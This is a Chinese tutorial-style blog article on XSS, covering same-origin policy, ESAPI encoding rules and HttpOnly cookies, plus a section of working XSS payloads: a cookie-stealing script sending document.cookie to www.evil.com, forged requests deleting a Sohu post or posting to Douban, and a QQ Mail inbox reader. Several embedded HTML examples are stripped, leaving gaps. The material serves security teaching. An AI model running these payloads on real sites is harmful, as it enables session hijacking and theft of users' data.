同源策略
影响源的因素:host,子域名,端口,协议
a.com通过以下代码:
加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此相对于当前打开的页面(a.com)来说,b.js的源就应该是a.com而非b.com 不同于XMLHttpRequest的是,通过src属性加载的资源,浏览器限制了JavaScript的权限,使其不能读、写返回的内容。
XMLHttpRequest不能跨域访问资源。但是有跨域请求的需求,因此W3C指定了XMLHttpRequest的跨域访问标准。它需要通过目标域返回的Http头来授权是否允许跨域访问,因此HTTP头对于JavaScript来说一般是无法控制的,所以认为这个方案是可行的。注意:这个跨域访问方案的安全基础就是信任“Javascript无法控制该HTTP头”,如果此信任基础被打破,则此方案也就不再安全。
浏览器沙箱
每个单独的页面是一个进程。浏览器加载的第三方插件如Flash、Java、PDF、.NET Framework都成为了被攻击热点。
恶意网址拦截
浏览器使用黑名单策略来警告用户。常见的恶意网址分为两类:
1、挂马网站,通常包含恶意的Javascript或Flash,通过利用浏览器的漏洞,执行shellcode,在电脑中植入木马
2、钓鱼网站:模仿知名网站的相似页面
跨站脚本(Cross Site Scripting)因为和CSS重名,所以改名XSS。XSS攻击是指在远程WEB页面的HTML代码中插入恶意的JavaScript,VBScript,ActiveX,HTML,或Flash等脚本,窃取浏览此页面的用户的信息,改变用户的设置,破坏用户数据的攻击技术。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响,但对客户端的安全构成严重的威胁,这主要是由于服务器对用户提交的数据过滤不完整造成的。
假设页面上有个表单,表单名称为Nick,用来想服务端提交网站用户的昵称信息:
表单nick的内容来自用户的输入,当用户输入的不是一个正常的昵称字符串,而是"/>!-时,服务端进行持久化,其它页面需要从服务端将数据展现出来,展示页面代码
nick: ${message}
完整的代码如下:
xss.html
XSS
xss2.html代码
Annotation Spring MVC
后台代码
package com.dxz.web.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
@Controller
public class loginController {
@RequestMapping(value="/login",method=RequestMethod.GET)
public ModelAndView helloWorld(@RequestParam("nick") String nick){
System.out.println(nick + " login");
ModelAndView mv = new ModelAndView();
mv.addObject("message", nick);
mv.setViewName("xss2");
return mv;
}
}
http://localhost:8080/SpringWebTraining/login?nick="/>!-进行URLEncode后如下:
http://localhost:8080/SpringWebTraining/login?nick=%22%2F%3Cscript%3Ealert%28%22haha%22%29%3C%2Fscript%3E%3C%21-
将URLEncode后的url通过邮件发给别人,以迷惑用户看起来像正常推广链接,一旦用户点击,脚本将在客户端执行,对用户造成危害。
XSS分为以下几类:
1)反射型XSS: 就如上面的例子,也就是黑客需要诱使用户点击链接。也叫作”非持久型XSS“(Non-persistent XSS)
2)存储型XSS:把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。
比较常见的一个场景是,黑客写下一篇包含恶意Javascript代码的博客文章,文章发表后,所有访问该博客文章的用户,都会在他们的浏览器中执行这段恶意的Javascript代码。黑客把恶意的脚本保存在服务器端,所以中XSS攻击就叫做”存储型XSS”。
3)DOM based XSS:也是一种反射型XSS,由于历史原因被单独列出来了。通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
大家最关心的大概要算这个问题了,下面列举的漏洞危害可能并不全面,但应该是比较典型的:
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。
攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它。对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感信息,甚至可以知道用户电脑安装了哪些软件。这些脚本还可以改写HTML页面,进行钓鱼攻击。
虽然产生XSS漏洞的原因各种各样,对于漏洞的利用也是花样百出,但是如果我们遵循本文提到防御原则,我们依然可以做到防止XSS攻击的发生。
有人可能会问,防御XSS的核心不就是在输出不可信数据的时候进行编码,而现如今流行的Web框架(比如Rails)大多都在默认情况下就对不可信数据进行了HTML编码,帮我们做了防御,还用得着我们自己再花时间研究如何防御XSS吗?答案是肯定的,对于将要放置到HTML页面body里的不可信数据,进行HTML编码已经足够防御XSS攻击了,甚至将HTML编码后的数据放到HTML标签(TAG)的属性(attribute)里也不会产生XSS漏洞(但前提是这些属性都正确使用了引号),但是,如果你将HTML编码后的数据放到了直接插入到SCRIPT标签里 插入到HTML注释里
插入到HTML标签的属性名里 插入到HTML标签的属性值里 <不要在这里直接插入不可信数据 href=”…”> 作为HTML标签的名字 直接插入到CSS里最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里,一旦引入了,这些脚本就能够操纵你的HTML页面,窃取敏感信息或者发起钓鱼攻击等等。
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
在这里相当强调是往HTML标签之间插入不可信数据,以区别于往HTML标签属性部分插入不可信数据,因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行HTML Entity编码。比如,我们经常需要往DIV,P,TD这些标签里放入一些用户提交的数据,这些数据是不可信的,需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数,我们只需要调用这些函数就好,而有些Web框架似乎更“智能”,比如Rails,它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码,尽管不能完全防御XSS,但着实减轻了开发人员的负担。
…插入不可信数据前,对其进行HTML Entity编码……插入不可信数据前,对其进行HTML Entity编码……插入不可信数据前,对其进行HTML Entity编码…
以此类推,往其他HTML标签之间插入不可信数据前,对其进行HTML Entity编码
[编码规则]
那么HTML Entity编码具体应该做哪些事情呢?它需要对下面这6个特殊字符进行编码:
& –> & < –> < > –> > ” –> " ‘ –> ' / –> /
有两点需要特别说明的是:
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
属性值部分没有使用引号,不推荐
属性值部分使用了单引号
属性值部分使用了双引号
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 HH; (以开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
假设HTML代码是这样的:
…content…
攻击者可以构造这样的输入:
x onmouseover=”javascript:alert(/xss/)”
最后,在用户的浏览器里的最终HTML代码会变成这个样子:
…content…
只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:
x />
除了空格符可以闭合当前属性外,这些符号也可以:
% * + , – / ; < = > ^ | `(反单引号,IE会认为它是单引号)
可以使用ESAPI提供的函数进行HTML属性编码:
String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:
除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。
值部分使用了单引号
值部分使用了双引号
值部分使用了引号,且事件处理属性的值部分也使用了引号
特别需要注意的是,在XSS防御中,有些JavaScript函数是极度危险的,就算对不可信数据进行JavaScript编码,也依然会产生XSS漏洞,例如:
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \xHH (以 \x 开头,HH则是指该字符对应的十六进制数字)
在对不可信数据做编码的时候,千万不能图方便使用反斜杠( \ )对特殊字符进行简单转义,比如将双引号 ” 转义成 \” ,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击。例如:
假设代码片段如下:
攻击者输入的内容为:
\”; alert(‘xss’);//
如果只是对双引号进行简单转义,将其替换成 \” 的话,攻击者输入的内容在最终的页面上会变成:
浏览器在解析的时候,会认为反斜杠后面的那个双引号和第一个双引号相匹配,继而认为后续的alert(‘xss’)是正常的JavaScript脚本,因此允许执行。
可以使用ESAPI提供的函数进行JavaScript编码:
String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
当需要往Stylesheet,Style标签或者Style属性里插入不可信数据的时候,需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的,但是实际上它比我们想象的要强大许多,而且还可以用来进行各种攻击。因此,不要对CSS里存放不可信数据掉以轻心,应该只允许把不可信数据放入到CSS属性的值部分,并进行适当的编码。除此以外,最好不要把不可信数据放到一些复杂属性里,比如url, behavior等,只能被IE认识的Expression属性允许执行JavaScript脚本,因此也不推荐把不可信数据放到这里。
…
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 \HH (以 \ 开头,HH则是指该字符对应的十六进制数字)
同原则2,原则3,在对不可信数据进行编码的时候,切忌投机取巧对双引号等特殊字符进行简单转义,攻击者可以想办法绕开这类限制。
可以使用ESAPI提供的函数进行CSS编码:
String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
当需要往HTML页面中的URL里插入不可信数据的时候,需要对其进行URL编码,如下:
Link Content
[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 %HH (以 % 开头,HH则是指该字符对应的十六进制数字)
在对URL进行编码的时候,有两点是需要特别注意的:
1) URL属性应该使用引号将值部分包围起来,否则攻击者可以很容易突破当前属性区域,插入后续攻击代码
2) 不要对整个URL进行编码,因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里,这时需要对数据的起始部分的协议字段进行验证,否则攻击者可以改变URL的协议,例如从HTTP协议改为DATA伪协议,或者javascript伪协议。
可以使用ESAPI提供的函数进行URL编码:
String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));
ESAPI还提供了一些用于检测不可信数据的函数,在这里我们可以使用其来检测不可信数据是否真的是一个URL:
String userProvidedURL = request.getParameter(“userProvidedURL”);
boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);
if (isValidURL) {
”>
}
原则7:使用富文本时,使用XSS规则引擎进行编码过滤
Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。
针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如, ,
等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在
, 等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在evil.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
事实上,http://www.evil.com/log 并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录 。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
黑客可以用这个Cookie直接登录。
防止:Cookie的“HttpOnly”标识可以防止”Cookie劫持”,我们将在稍后的章节中在具体介绍。
4.2、强大的XSS Payload
构造Get与Post请求:例如在Sohu上有一篇文章, 想通过XSS删除它,该如何做呢?
假设Sohu博客所在域的某页面存在XSS漏洞,那么通过JavaScript,这个过程如下:
正常删除该文章的链接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
对于攻击者来说,只需要直到文章的id,就能够通过这个请求删除这篇文章了。
攻击者可以通过插入一张图片来发起一个get请求:
var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);
攻击者只需要让博客的作者执行这段JavaScript代码(XSS Payload),就会把这篇文章删除。在具体攻击中,攻击者将通过XSS诱使用户执行XSS Payload。
再看一个复杂点的例子。如果网站应用者接受POST请求,那么攻击者如何实施XSS攻击呢?
下例是Douban的一处表单。攻击者将通过Javascript发出一个post请求,提交此表单,最终发出一条新的消息。
var f=document.createElement("form");
f.action="";
f.method="post";
document.body.appendChild(f);
var i1=document.createElement("input");
i1.name=" ck";
i1.value=" JiuY";
f.appendChild(i1);
var i2=document.createElement("input");
i2.name=" mb_text";
i2.value="testtestseset";
f.appendChild(i2);
f.submit();
如果表单参数很多的话,通过构造DOM的方式,代码将会很冗长。所以可以直接写HTML代码:
var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML=''
document.getElementById("xssform").submit();
第二种方法是,通过XMLHttpRequest发送一个POST请求:
var url = "http://www.douban.com";
var postStr = "ck=JiuY&mb_text=test1234";
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
alert("Done");
}
}
通过这个例子可以看出,使用Javascript模拟提交表单并不是一件困难的事情.
下面的例子将演示如何通过XSS Payload读取QMail用户的邮件文件夹:
首先看看正常的请求是如何获取到所有的邮件列表的。登录邮箱后,点击“收件箱”后。抓包发现浏览器发出了如下请求:
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1
经过分析,真正能访问到邮件列表的链接是:
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…
这里有一个无法直接构造出的值:sid。从字面推测,这个sid参数应该是用户ID加密后的值。
所以XSS Payload的思路是先获取到sid的值,然后构造完整的URL,并使用XMLHttpRequest请求到此URL,应该就能得到邮件列表了。XSS Payload如下:
if (top.window.location.href.indexOf("sid=") > 0) {
var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
}
var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
return;
}
ajax.open("GET", folder_url, true);
ajax.send(null);
ajax.onreadystatechange = function() {
if (ajax.readyState == 4 && ajax.status == 200) {
alert(ajax.responseText);
//document.write(ajax.responseText);
}
}
邮件列表的内容成功被XSS Payload获取到。
4.3、钓鱼:
XSS并非万能。前面的例子都是Javascript脚本,缺少”与用户的交互”,碰到验证码,和修改密码时需要输入旧密码,XSS Payload就会失效。
对于验证码,XSS Payload可以读取页面的内容,将验证码的图片URL发送到远程服务器上来实施–攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload 从而绕过验证码。
修改密码的问题比较复杂,为了窃取密码,攻击者可以将XSS与”钓鱼”结合。
实现思路很简单:利用Javascript在当前页面上”画出”一个伪造的登录框,当用户在登录框中输入用户名和密码后,其密码将被发送到黑客的服务器上。
4.4、识别用户浏览器:
navigator.userAgent
但是userAgent是可以伪造的。这个信息不一定准确。
由于浏览器之间的实现存在差异,利用这种差异分辨浏览器几乎不会错误。
参考:
if (window.ActiveObject) {
//MSIE 6.0 or below
//判断是否IE 7以上
if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
//MSIE 8.0
}
//MSIE 7.0
}
return "msie"; //MSIE6.0
} else if {
typeof window.opera != "undefined") { //Opera独占
return "opera";
} else if (typeof window.netscape != "undefined") { //Mozilla独占
if (typeof window.Iterator != "undefined") {
//Firefox 2.0以上支持这个对象
if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
//Firefox 3
}
//Firefox 2.0
}
return "mozilla";
} else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
try {
if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
return "Chrome";
}
} catch(e) {
return "safari";
}
} else { //unknown
return "unknown";
}
4.5、识别用户安装的软件:
在IE中,可以通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”–黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到入木马的目的。
看如下代码:
try {
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
//异常了,不存在该控件
}
通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件的版本。
一些第三方软件也可能会泄漏一些信息。比如Flash有一个system.capabilities对象,能够查询客户端电脑中的硬件信息。
在XSS Payload中,可以在Flash的ActionScript中读取system.capabilities对象后,将结果通过ExternalInterface传给页面的javascript。
浏览器的扩展和插件也能被XSS Payload扫描出来。比如对于Firefox的插件和扩展,有着不同的检测方法。
Firefox的插件(Plugins)列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件:
所以直接查询”navigator.plugins”对象,就能找到所有的插件了。例如 navigator.plugins[0]
而Chrome的扩展(Extension)要复杂一些。有安全研究者想出了一个方法:通过检测扩展的图标,来判断某个特定的扩展是否存在。
在Chrome中有一个特殊的协议: chrome:// ,Chrome的扩展图标可以通过这个协议被访问到。比如Flash Got扩展的图标,可以这样访问:
chrome://flashgot/skin/icon32.png
扫描Chrome扩展时,只需在Javascript中加载这张图片,如果加载成功,则扩展存在;反之,扩展就不存在
var m = new Image();
m.onload = function() {
alert(1); //图片存在
};
m.onerror = function() {
alert(2); //图片不存在
};
m.src = "chrome://flashgot/skin/icon32.png"; //连接图片
4.6、CSS History Hack:
我们再看看另外一个有趣的XSS Payload—通过CSS,来发现一个用户曾经访问过的网站。
原理是利用style的visited桑性—如果用户曾经访问过某个链接,那么这个链接的颜色会变的与众不同。
< script >
var websites = [...要检测的访问过的网址列表,可能有几千个...];
//遍历每个URL
for (var i = 0; i < websites.length: i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
document.body.removeChild(link);
if (color == "rgb(255,0,0)") { //visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { //Not visited
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
}
} < /script>/
但是Firefox已经决定修补这个问题
4.7、获取用户的真实IP地址:
很多时候,用户电脑的IP地址隐藏在代理服务器或NAT的后面。
javascript本身并没有获取本地IP地址的能力。一般需要第三方软件来完成。比如,客户端安装了Java环境(JRE),那么XSS就可以通过调用Java Applet的接口获取客户端的本地IP地址。
在XSS攻击框架”Attack API”中,就有一个获取本地IP地址的API:
AttackAPI.dom.getInternalIP = function() {
try {
var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
return sock.getLocalAddress().getHostAddress();
} catch(e) {}
return '127.0.0.1';
};
此外,还有两个利用Java获取本地网络信息的API:
XSS攻击平台:
XSS Payload如此强大,为了使用方便,有安全研究者将许多功能封装起来,成为XSS攻击平台。这些攻击平台的主要目的是为了演示XSS的危害,以及方便渗透测试使用。
Attack API: Attack API是安全研究者pdp所主导的一个项目,他总结了很多能够直接使用的XSS Payload,归纳为API的方式。
BeFF:曾经是最好的XSS演示平台。其所演示的是一个完整的XSS攻击过程。
XSS-Proxy:是一个轻量级的XSS攻击平台,通过嵌套iFrame的方式可以实时地远程控制被XS攻击的浏览器。
这些XSS攻击平台有助于深入理解XSS的原理和危害。
终极武器:XSS Worm
Samy Worm:
2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。
MySpace过滤了很多危险的HTML标签,只保留了
标签、
标签、标签等”安全的标签”.并过滤了所有的事件,例如”onclick”。但是MySpace却允许用户控制标签的Style属性,通
style,还是有办法构造出XSS的。比如:
其次,MySpace同时还过滤了”javascript”、”onreadystatechange”等敏感词,所以Samy用了“拆分法”绕过这些限制。
最后Samy通过Ajax构造的Post请求,完成了在用户的heros列表里添加自己名字的功能;同事复制蠕虫自身进行传播。至此,XSS Worm就完成了。
具体代码太长。。。
但是发起XSS Worm攻击是有一定的条件的:
一般来说,用户之间发生交互行为的页面,如果存在存储性XSS,则比较容易发起XSS Worm攻击。
比如发送站内信、用户留言等页面,都是XSS Worm的高发区,需要重点关注。而相对的,如果一个页面只能由用户个人查看,比如”用户个人资料设置”页面,因为缺乏用户之间互动的功能
所以即使存在XSS,也不能被用于XSS Worm的传播。
百度空间蠕虫:
调试Javascript:
要想写好XSS Payload,需要有很好的Javascript功底,调试javascript是必不可少的技能。
Firebug …
XSS构造技巧
利用字符编码:
“百度搜藏”曾经出现过一个这样的XSS漏洞。百度在一个
希望达到的输出效果是:
" />
假设长度限制为20个字节,则这段XSS会被切割为:
$var输出为: ">
最终的效果是:
" />
中间的代码前部被
注释掉了。
使用
标签:
标签是定义所有使用”相对路径”标签的hosting地址
例如:
需要注意的是
标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。
攻击者如果在页面中插入了
标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:
...
这段代码将window.name赋值为test,然后显示当前域和window.name的值,最后页面跳转到www.b.com/test1.html。
www.b.com/test1.html的代码为:
这个过程实现了数据的跨域传递:”test”这个值从www.a.com传递到www.b.com
使用window.name可以缩短XSS Payload的长度,如下所示:
在统一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:
eval(name);
只有11个字节,短到了极点。
这个技巧为安全研究者luoluo发现,同时他还整理了很多绕过XSS长度限制的技巧。
变废为宝:Mission Impossible
从XSS漏洞利用的角度来看,存储型XSS对攻击者的用处比反射型XSS要大。而有的XSS漏洞被认为只能够攻击自己,属于”鸡肋”漏洞。但随着时间的推移,数个曾经被认为是无法利用的
洞,都被人找到了利用方法:
a)Apache Expect Header XSS:
b)Anehta的回旋镖:
容易被忽视的角落:Flash XSS
前面降到的XSS攻击都是基于HTML的,其实在Flash中同样也有可能造成XSS攻击。
在Flash中是可以嵌入ActionScript脚本的。一个最常见的Flash XSS可以这样写:
getURL(“javascript:alert(document.cookie)”)
ActionScript是一种非常强大和灵活的脚本,甚至可以使用它来发起网络连接,因此应该尽可能地阻止用户能够上传和加载自定义的Flash文件。
由于Flash文件如此危险,所以在实现XSS Filter时,一般都会禁用、等标签。后者甚至可以加载ActiveX控件,产生更为严重的后果。
嵌入FLash的脚本重要的参数有allowScriptAccess(推荐值never)、allowNetworking(建议值none或者internal)。
Flash XSS往往被忽视,因为其问题出现在编译后的Flash文件中。
真的高枕无忧吗?Javascript开发框架
jQuery本身出现的漏洞较少,但是开发者的意识才是安全编码的关键。
例如$(‘div.demo-container’).html(“”);
如果用户可控制输入,那么XSS产生是必然的。
浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。是为了解决劫持Cookie攻击。因为Javascript获取不到Cookie的值。
Cookie hit=new Cookie("hitCounter","1");
hit.setHttpOnly(true);//如果设置了"HttpOnly"属性,那么通过程序(JS脚本、Applet等)将无法访问该Cookie
hit.setMaxAge(60*60);//设置生存期为1小时
//hit.setDomain("www.duanxz.cn");//子域,在这个子域下才可以访问该Cookie
//hit.setPath("/hello");//在这个路径下面的页面才可以访问该Cookie
//hit.setSecure(true);//如果设置了Secure,则只有当使用https协议连接时cookie才可以被页面访问
response.addCookie(hit);
常见的Web漏洞如XSS、SQL诸如等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
例如,用户名可能会被要求只能为字母、数字的组合。
输入检查的逻辑应该放在服务器端,否则很容易被绕过。目前的普遍做法是在客户端和服务器端都执行检查。
在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如< > ’ “等。如果发现,则将这些字符过滤掉或编码。
比较智能的还会检查
防御方法是对变量使用HtmlEncode。
在HTML属性中输出:如
可以构造出:
<"" >
防御方法也是HtmlEncode。在OWASP ESAPI中推荐了一种更严格的HtmlEncode–除了字母、数字外,其他所有的字符都被编码成HTMLEntities。
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")];
这种严格的编码方式,可以保证不会出现任何安全问题。
在
可以构造出: 防御时也是使用JavascriptEncode 在事件中输出:如 可以构造出: 在防御时需要使用JavascriptEncode 在CSS中输出: 所以一般来说,尽可能地禁止用户可控制的变量在” 在地址中输出: 可能的攻击办法: 经过URLEncode后就可以防御。 在Protocol和host中,如果使用严格的URLEncode函数,则会把” 攻击者可能会构造: 除了“JavaScript作为伪协议可以执行代码外,还有VBScript、dataURI等伪协议可能导致脚本执行。 有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为”富文本”。比如,一个用户在论坛里发帖,帖子里的内容里要有图片、视频、表格等,这些“富文本”的效果都需要通过HTM 在button的onclick事件中,执行了test()函数,而该函数中最关键的一句是: 变量 页面渲染之后的实际结果如下: 但是当document.write输出数据到HTML页面时,浏览器重新渲染了页面。在
test
test
在CSS和style、style attribute中形成的XSS的方式非常多样化,参考下面几个XSS的例子。标签”、”HTML标签的style属性”以及”CSS文件”中输出。如果一定有这样的需求,推荐使用OWASP ESAPI中的encodeForCSS()
数。类似于ESAPI.encoder().encodeForJavaScript()函数。
在地址中输出也较为复杂。一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。
例如: test
test
但是还有一种情况,就是整个URL都能够被用户完全控制。这时URL的协议和Host部分是不能够使用URLEncode的,否则会改变URL的语义。
一个URL的组成如下: [Protocol][host][Path][search][Hash]
如
http://www.evil.com/a/b/c/test?abc=123#ssss
protocol="http://"
host=www.evil.com
search="?abc=123"
hash=#ssss
://
“、”.
“等都编码掉。
对于如下的输出方式: test
test
由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多,如何解决这种情况呢?
一般来说,如果变量是整个URl,则应该首先检查变量是否是以Http开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。
在此之后再对变量进行URLEncode,即可保证不会有此类的XSS发生了。
OWASP ESAPI中有一个URLEncode的实现:
ESAPI.encoder().encodeForURL处理富文本
代码来实现。
如何区分安全的“富文本”和有攻击性的XSS呢?
在处理富文本时,还是要回到”输入检查”的思路上来。”输入检查“的主要功能是,在检查时还不知道变量的输出语境。但用户提交的”富文本“数据,其语义是完整的HTML代码,在输出时也不
拼凑到某个标签的属性中。因此可以特殊情况特殊处理。
在上一节中,列出了所有在HTML中可能执行脚本的地方。而一个优秀的”XSS Filter“,也应该能够找出HTML代码中所有可能执行脚本的地方。
HTML是一种结构化的语言,比较好分析。通过htmlparser可以解析出HTML代码的标签、标签属性和事件。
在过滤富文本时,”事件“应该被严格禁止,因为”富文本“的展示需求里不应该包括”事件“这种动态效果。而一些危险的标签,比如
document.getElementById("t").innerHTML="testLink";
将HTML代码写入了DOM节点,最后导致了XSS的发生。
事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。而前文提到的方法都是针对”从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM Based XSS。
看看下面这个例子:$var
输出在标签内,可是最后又被document.write输出到HTML页面中。
假设为了保护$var
直接在标签内产生XSS,服务器端对齐进行了JavascriptEscape。可是$var在document.write时,仍然能够产生XSS,如下所示:
XSS攻击成功。
其原因在于,第一次执行JavascriptEscape后,只保护了: var x="$var";
你可能感兴趣的:(web攻击,XSS跨站脚本)